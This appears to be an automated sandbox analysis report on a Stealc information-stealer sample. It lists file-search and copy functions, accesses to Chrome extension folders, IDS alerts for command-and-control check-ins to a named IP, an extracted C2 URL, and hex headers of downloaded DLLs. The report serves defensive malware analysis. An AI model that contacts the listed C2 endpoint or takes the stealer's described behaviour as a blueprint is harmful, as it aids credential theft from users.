Source: C:\Users\user\Desktop\glpEv3POe7.exe	Code function: 0_2_00594EC0 lstrcpy,lstrcpy,lstrcatA,lstrlenA,lstrcpy,lstrcatA,lstrcpy,FindFirstFileA,StrCmpCA,StrCmpCA,lstrcpy,lstrcpy,lstrcatA,lstrlenA,lstrcpy,lstrcatA,lstrlenA,lstrcpy,lstrcatA,lstrcpy,StrCmpCA,lstrcpy,lstrlenA,lstrcpy,lstrcatA,lstrcpy,lstrcpy,lstrcatA,lstrcpy,CopyFileA,lstrcpy,CopyFileA,lstrcpy,lstrcpy,lstrcpy,lstrcpy,lstrcpy,lstrcpy,DeleteFileA,lstrcpy,lstrcpy,lstrcpy,FindNextFileA,FindClose,	0_2_00594EC0
Source: C:\Users\user\Desktop\glpEv3POe7.exe	Code function: 0_2_00592747 lstrcpy,lstrcpy,lstrcatA,lstrlenA,lstrcpy,lstrcatA,lstrcpy,FindFirstFileA,	0_2_00592747
Source: C:\Users\user\Desktop\glpEv3POe7.exe	Code function: 0_2_0059E330 wsprintfA,FindFirstFileA,StrCmpCA,StrCmpCA,wsprintfA,StrCmpCA,wsprintfA,wsprintfA,PathMatchSpecA,lstrcatA,lstrcatA,lstrcatA,lstrcatA,lstrcatA,CopyFileA,lstrcpy,lstrcpy,DeleteFileA,FindNextFileA,FindClose,	0_2_0059E330
Source: C:\Users\user\Desktop\glpEv3POe7.exe	Code function: 0_2_0059CCE0 wsprintfA,FindFirstFileA,lstrcatA,StrCmpCA,StrCmpCA,wsprintfA,PathMatchSpecA,CoInitialize,CoUninitialize,lstrcatA,lstrlenA,StrCmpCA,wsprintfA,wsprintfA,PathMatchSpecA,wsprintfA,CopyFileA,CreateFileA,GetFileSizeEx,CloseHandle,CloseHandle,__ehfuncinfo$??2@YAPAXIABUnothrow_t@std@@@Z,lstrcpy,lstrcpy,DeleteFileA,FindNextFileA,FindClose,	0_2_0059CCE0
Source: C:\Users\user\Desktop\glpEv3POe7.exe	Code function: 0_2_005815B9 lstrcpy,lstrcpy,lstrcpy,lstrcatA,lstrcpy,lstrcpy,lstrcatA,lstrlenA,lstrcpy,lstrcatA,lstrcpy,lstrcatA,lstrlenA,lstrcpy,lstrcatA,lstrcpy,FindFirstFileA,	0_2_005815B9
Source: C:\Users\user\Desktop\glpEv3POe7.exe	Code function: 0_2_0059DE50 GetProcessHeap,HeapAlloc,wsprintfA,FindFirstFileA,StrCmpCA,StrCmpCA,wsprintfA,CopyFileA,DeleteFileA,FindNextFileA,FindClose,lstrcatA,lstrcatA,lstrlenA,lstrlenA,lstrcpy,	0_2_0059DE50
Source: C:\Users\user\Desktop\glpEv3POe7.exe	Code function: 0_2_00592749 lstrcpy,lstrcpy,lstrcatA,lstrlenA,lstrcpy,lstrcatA,lstrcpy,FindFirstFileA,	0_2_00592749

Source: C:\Users\user\Desktop\glpEv3POe7.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\html\	Jump to behavior
Source: C:\Users\user\Desktop\glpEv3POe7.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\_locales\	Jump to behavior
Source: C:\Users\user\Desktop\glpEv3POe7.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\images\	Jump to behavior
Source: C:\Users\user\Desktop\glpEv3POe7.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\	Jump to behavior
Source: C:\Users\user\Desktop\glpEv3POe7.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\_locales\bg\	Jump to behavior
Source: C:\Users\user\Desktop\glpEv3POe7.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\css\	Jump to behavior

Source: chrome.exe

Memory has grown: Private usage: 12MB later: 41MB

Networking

Suricata IDS alerts for network traffic

Source: Network traffic	Suricata IDS: 2044243 - Severity 1 - ET MALWARE [SEKOIA.IO] Win32/Stealc C2 Check-in : 192.168.2.4:49730 -> 135.181.65.216:80
Source: Network traffic	Suricata IDS: 2044244 - Severity 1 - ET MALWARE Win32/Stealc Requesting browsers Config from C2 : 192.168.2.4:49730 -> 135.181.65.216:80
Source: Network traffic	Suricata IDS: 2044245 - Severity 1 - ET MALWARE Win32/Stealc Active C2 Responding with browsers Config : 135.181.65.216:80 -> 192.168.2.4:49730
Source: Network traffic	Suricata IDS: 2044246 - Severity 1 - ET MALWARE Win32/Stealc Requesting plugins Config from C2 : 192.168.2.4:49730 -> 135.181.65.216:80
Source: Network traffic	Suricata IDS: 2044247 - Severity 1 - ET MALWARE Win32/Stealc/Vidar Stealer Active C2 Responding with plugins Config : 135.181.65.216:80 -> 192.168.2.4:49730
Source: Network traffic	Suricata IDS: 2044248 - Severity 1 - ET MALWARE Win32/Stealc Submitting System Information to C2 : 192.168.2.4:49730 -> 135.181.65.216:80

C2 URLs / IPs found in malware configuration

Source: Malware configuration extractor

URLs: http://135.181.65.216/ee45b7c5e4cb75cb.php

Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKDate: Tue, 24 Dec 2024 21:26:58 GMTServer: Apache/2.4.41 (Ubuntu)Last-Modified: Mon, 05 Sep 2022 11:30:30 GMTETag: "10e436-5e7ec6832a180"Accept-Ranges: bytesContent-Length: 1106998Content-Type: application/x-msdos-programData Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 50 45 00 00 4c 01 12 00 d7 dd 15 63 00 92 0e 00 bf 13 00 00 e0 00 06 21 0b 01 02 19 00 26 0b 00 00 16 0d 00 00 0a 00 00 00 14 00 00 00 10 00 00 00 40 0b 00 00 00 e0 61 00 10 00 00 00 02 00 00 04 00 00 00 01 00 00 00 04 00 00 00 00 00 00 00 00 30 0f 00 00 06 00 00 1c 3a 11 00 03 00 00 00 00 00 20 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 d0 0c 00 88 2a 00 00 00 00 0d 00 d0 0c 00 00 00 30 0d 00 a8 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 0d 00 18 3c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 04 20 0d 00 18 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 0c 02 0d 00 d0 01 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 2e 74 65 78 74 00 00 00 84 25 0b 00 00 10 00 00 00 26 0b 00 00 06 00 00 00 00 00 00 00 00 00 00 00 00 00 00 60 00 50 60 2e 64 61 74 61 00 00 00 7c 27 00 00 00 40 0b 00 00 28 00 00 00 2c 0b 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 60 c0 2e 72 64 61 74 61 00 00 70 44 01 00 00 70 0b 00 00 46 01 00 00 54 0b 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 60 40 2e 62 73 73 00 00 00 00 28 08 00 00 00 c0 0c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 00 60 c0 2e 65 64 61 74 61 00 00 88 2a 00 00 00 d0 0c 00 00 2c 00 00 00 9a 0c 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 30 40 2e 69 64 61 74 61 00 00 d0 0c 00 00 00 00 0d 00 00 0e 00 00 00 c6 0c 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 30 c0 2e 43 52 54 00 00 00 00 2c 00 00 00 00 10 0d 00 00 02 00 00 00 d4 0c 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 30 c0 2e 74 6c 73 00 00 00 00 20 00 00 00 00 20 0d 00 00 02 00 00 00 d6 0c 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 30 c0 2e 72 73 72 63 00 00 00 a8 04 00 00 00 30 0d 00 00 06 00 00 00 d8 0c 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 30 c0 2e 72 65 6c 6f 63 00 00 18 3c 00 00 00 40 0d 00 00 3e 00 00 00 de 0c 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 30 42 2f 34 00 00 00 00 00 00 38 05 00 00 00 80 0d 00 00 06 00 00 00 1c 0d 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 40 42 2f 31 39 00 00 00 00 00 52 c8 00 00 00 90 0d 00 00 ca 00 00 00 22 0d 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 10 42 2f 33 31 00 00 00 00 00 5d 27 00 00 00 60 0e 00 00 28 00 00 00 ec 0d 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 10 42 2f 34 35 00 00 00 00 00 9a 2d 00 00 00 90 0e 00 00
Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKDate: Tue, 24 Dec 2024 21:27:11 GMTServer: Apache/2.4.41 (Ubuntu)Last-Modified: Mon, 05 Sep 2022 07:49:08 GMTETag: "a7550-5e7e950876500"Accept-Ranges: bytesContent-Length: 685392Content-Type: application/x-msdos-programData Raw: 4d 5a 78 00 01 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 78 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 24 00 00 50 45 00 00 4c 01 06 00 f3 34 12 63 00 00 00 00 00 00 00 00 e0 00 22 21 0b 01 0e 00 00 0e 08 00 00 34 02 00 00 00 00 00 70 12 08 00 00 10 00 00 00 00 00 00 00 00 00 10 00 10 00 00 00 02 00 00 06 00 01 00 00 00 00 00 06 00 01 00 00 00 00 00 00 d0 0a 00 00 04 00 00 cb fd 0a 00 02 00 40 41 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 48 1c 0a 00 53 00 00 00 9b 1c 0a 00 c8 00 00 00 00 90 0a 00 78 03 00 00 00 00 00 00 00 00 00 00 00 46 0a 00 50 2f 00 00 00 a0 0a 00 f0 23 00 00 94 16 0a 00 1c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 08 20 08 00 a0 00 00 00 00 00 00 00 00 00 00 00 a4 1e 0a 00 40 01 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 2e 74 65 78 74 00 00 00 95 0c 08 00 00 10 00 00 00 0e 08 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 60 2e 72 64 61 74 61 00 00 c4 06 02 00 00 20 08 00 00 08 02 00 00 12 08 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 64 61 74 61 00 00 00 3c 46 00 00 00 30 0a 00 00 02 00 00 00 1a 0a 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 30 30 63 66 67 00 00 04 00 00 00 00 80 0a 00 00 02 00 00 00 1c 0a 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 73 72 63 00 00 00 78 03 00 00 00 90 0a 00 00 04 00 00 00 1e 0a 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 65 6c 6f 63 00 00 f0 23 00 00 00 a0 0a 00 00 24 00 00 00 22 0a 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 42 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 0
Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKDate: Tue, 24 Dec 2024 21:27:13 GMTServer: Apache/2.4.41 (Ubuntu)Last-Modified: Mon, 05 Sep 2022 07:49:08 GMTETag: "94750-5e7e950876500"Accept-Ranges: bytesContent-Length: 608080Content-Type: application/x-msdos-programData Raw: 4d 5a 78 00 01 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 78 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 24 00 00 50 45 00 00 4c 01 07 00 a4 34 12 63 00 00 00 00 00 00 00 00 e0 00 22 21 0b 01 0e 00 00 b6 07 00 00 5e 01 00 00 00 00 00 c0 b9 03 00 00 10 00 00 00 00 00 00 00 00 00 10 00 10 00 00 00 02 00 00 06 00 01 00 00 00 00 00 06 00 01 00 00 00 00 00 00 80 09 00 00 04 00 00 6a aa 09 00 02 00 40 41 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 01 60 08 00 e3 57 00 00 e4 b7 08 00 2c 01 00 00 00 20 09 00 b0 08 00 00 00 00 00 00 00 00 00 00 00 18 09 00 50 2f 00 00 00 30 09 00 d8 41 00 00 14 53 08 00 1c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 bc f8 07 00 18 00 00 00 68 d0 07 00 a0 00 00 00 00 00 00 00 00 00 00 00 ec bc 08 00 dc 03 00 00 e4 5a 08 00 00 01 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 2e 74 65 78 74 00 00 00 61 b5 07 00 00 10 00 00 00 b6 07 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 60 2e 72 64 61 74 61 00 00 94 09 01 00 00 d0 07 00 00 0a 01 00 00 ba 07 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 64 61 74 61 00 00 00 44 1d 00 00 00 e0 08 00 00 04 00 00 00 c4 08 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 30 30 63 66 67 00 00 04 00 00 00 00 00 09 00 00 02 00 00 00 c8 08 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 74 6c 73 00 00 00 00 15 00 00 00 00 10 09 00 00 02 00 00 00 ca 08 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 72 73 72 63 00 00 00 b0 08 00 00 00 20 09 00 00 0a 00 00 00 cc 08 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 65 6c 6f 63 00 00 d8 41 00 00 00 30 09 00 00 42 00 00 00 d6 08 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 42 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 0
Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKDate: Tue, 24 Dec 2024 21:27:15 GMTServer: Apache/2.4.41 (Ubuntu)Last-Modified: Mon, 05 Sep 2022 07:49:08 GMTETag: "6dde8-5e7e950876500"Accept-Ranges: bytesContent-Length: 450024Content-Type: application/x-msdos-programData Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 01 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 d9 93 31 43 9d f2 5f 10 9d f2 5f 10 9d f2 5f 10 29 6e b0 10 9f f2 5f 10 94 8a cc 10 8b f2 5f 10 9d f2 5e 10 22 f2 5f 10 cf 9a 5e 11 9e f2 5f 10 cf 9a 5c 11 95 f2 5f 10 cf 9a 5b 11 d3 f2 5f 10 cf 9a 5a 11 d1 f2 5f 10 cf 9a 5f 11 9c f2 5f 10 cf 9a a0 10 9c f2 5f 10 cf 9a 5d 11 9c f2 5f 10 52 69 63 68 9d f2 5f 10 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 06 00 82 ea 30 5d 00 00 00 00 00 00 00 00 e0 00 22 21 0b 01 0e 0f 00 28 06 00 00 82 00 00 00 00 00 00 60 d9 03 00 00 10 00 00 00 40 06 00 00 00 00 10 00 10 00 00 00 02 00 00 06 00 00 00 0a 00 00 00 06 00 00 00 00 00 00 00 00 f0 06 00 00 04 00 00 2c e0 06 00 03 00 40 41 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 10 67 04 00 82 cf 01 00 e8 72 06 00 18 01 00 00 00 a0 06 00 f0 03 00 00 00 00 00 00 00 00 00 00 00 9c 06 00 e8 41 00 00 00 b0 06 00 ac 3d 00 00 60 78 00 00 38 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 b8 77 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 70 06 00 e4 02 00 00 c0 63 04 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 2e 74 65 78 74 00 00 00 92 26 06 00 00 10 00 00 00 28 06 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 60 2e 64 61 74 61 00 00 00 48 29 00 00 00 40 06 00 00 18 00 00 00 2c 06 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 69 64 61 74 61 00 00 ac 13 00 00 00 70 06 00 00 14 00 00 00 44 06 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 64 69 64 61 74 00 00 34 00 00 00 00 90 06 00 00 02 00 00 00 58 06 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 72 73 72 63 00 00 00 f0 03 00 00 00 a0 06 00 00 04 00 00 00 5a 06 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 65 6c 6f 63 00 00 ac 3d 00 00 00 b0 06 00 00 3e 00 00 00 5e 06 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 42 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 0
Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKDate: Tue, 24 Dec 2024 21:27:16 GMTServer: Apache/2.4.41 (Ubuntu)Last-Modified: Mon, 05 Sep 2022 07:49:08 GMTETag: "1f3950-5e7e950876500"Accept-Ranges: bytesContent-Length: 2046288Content-Type: application/x-msdos-programData Raw: 4d 5a 78 00 01 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 78 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 24 00 00 50 45 00 00 4c 01 06 00 d0 34 12 63 00 00 00 00 00 00 00 00 e0 00 22 21 0b 01 0e 00 00 d8 19 00 00 2e 05 00 00 00 00 00 60 a3 14 00 00 10 00 00 00 00 00 00 00 00 00 10 00 10 00 00 00 02 00 00 06 00 01 00 00 00 00 00 06 00 01 00 00 00 00 00 00 70 1f 00 00 04 00 00 6c 2d 20 00 02 00 40 41 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 e4 26 1d 00 fa 9d 00 00 de c4 1d 00 40 01 00 00 00 50 1e 00 78 03 00 00 00 00 00 00 00 00 00 00 00 0a 1f 00 50 2f 00 00 00 60 1e 00 5c 08 01 00 b0 01 1d 00 1c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 08 f0 19 00 a0 00 00 00 00 00 00 00 00 00 00 00 7c ca 1d 00 5c 04 00 00 80 26 1d 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 2e 74 65 78 74 00 00 00 89 d7 19 00 00 10 00 00 00 d8 19 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 60 2e 72 64 61 74 61 00 00 6c ef 03 00 00 f0 19 00 00 f0 03 00 00 dc 19 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 64 61 74 61 00 00 00 44 52 00 00 00 e0 1d 00 00 2e 00 00 00 cc 1d 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 30 30 63 66 67 00 00 04 00 00 00 00 40 1e 00 00 02 00 00 00 fa 1d 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 73 72 63 00 00 00 78 03 00 00 00 50 1e 00 00 04 00 00 00 fc 1d 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 65 6c 6f 63 00 00 5c 08 01 00 00 60 1e 00 00 0a 01 00 00 00 1e 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 42 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKDate: Tue, 24 Dec 2024 21:27:19 GMTServer: Apache/2.4.41 (Ubuntu)Last-Modified: Mon, 05 Sep 2022 07:49:08 GMTETag: "3ef50-5e7e950876500"Accept-Ranges: bytesContent-Length: 257872Content-Type: application/x-msdos-programData Raw: 4d 5a 78 00 01 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 78 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 24 00 00 50 45 00 00 4c 01 06 00 f3 34 12 63 00 00 00 00 00 00 00 00 e0 00 22 21 0b 01 0e 00 00 cc 02 00 00 f0 00 00 00 00 00 00 50 cf 02 00 00 10 00 00 00 00 00 00 00 00 00 10 00 10 00 00 00 02 00 00 06 00 01 00 00 00 00 00 06 00 01 00 00 00 00 00 00 00 04 00 00 04 00 00 53 67 04 00 02 00 40 41 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 44 76 03 00 53 01 00 00 97 77 03 00 f0 00 00 00 00 b0 03 00 80 03 00 00 00 00 00 00 00 00 00 00 00 c0 03 00 50 2f 00 00 00 c0 03 00 c8 35 00 00 38 71 03 00 1c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 08 e0 02 00 a0 00 00 00 00 00 00 00 00 00 00 00 14 7b 03 00 8c 02 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 2e 74 65 78 74 00 00 00 26 cb 02 00 00 10 00 00 00 cc 02 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 60 2e 72 64 61 74 61 00 00 d4 ab 00 00 00 e0 02 00 00 ac 00 00 00 d0 02 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 64 61 74 61 00 00 00 98 0b 00 00 00 90 03 00 00 08 00 00 00 7c 03 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 30 30 63 66 67 00 00 04 00 00 00 00 a0 03 00 00 02 00 00 00 84 03 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 73 72 63 00 00 00 80 03 00 00 00 b0 03 00 00 04 00 00 00 86 03 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 65 6c 6f 63 00 00 c8 35 00 00 00 c0 03 00 00 36 00 00 00 8a 03 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 42 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 